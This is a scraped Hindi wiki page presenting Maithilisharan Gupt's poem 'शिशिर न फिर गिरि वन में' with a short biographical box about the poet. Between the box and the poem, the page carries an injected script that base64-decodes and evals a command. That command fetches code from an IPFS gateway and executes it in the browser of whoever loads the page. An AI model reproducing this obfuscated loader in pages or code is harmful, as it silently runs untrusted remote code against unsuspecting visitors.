एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

शिशिर न फिर गिरि वन में -मैथिलीशरण गुप्त

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"
शिशिर न फिर गिरि वन में -मैथिलीशरण गुप्त
मैथिलीशरण गुप्त
कवि मैथिलीशरण गुप्त
जन्म 3 अगस्त, 1886
मृत्यु 12 दिसंबर, 1964
मृत्यु स्थान चिरगाँव, झाँसी
मुख्य रचनाएँ पंचवटी, साकेत, यशोधरा, द्वापर, झंकार, जयभारत
इन्हें भी देखें कवि सूची, साहित्यकार सूची
मैथिलीशरण गुप्त की रचनाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शिशिर न फिर गिरि वन में
जितना माँगे पतझड़ दूँगी मैं इस निज नंदन में
कितना कंपन तुझे चाहिए ले मेरे इस तन में
सखी कह रही पांडुरता का क्या अभाव आनन में
वीर जमा दे नयन नीर यदि तू मानस भाजन में
तो मोती-सा मैं अकिंचना रक्खूँ उसको मन में
हँसी गई रो भी न सकूँ मैं अपने इस जीवन में
तो उत्कंठा है देखूँ फिर क्या हो भाव भुवन में।

संबंधित लेख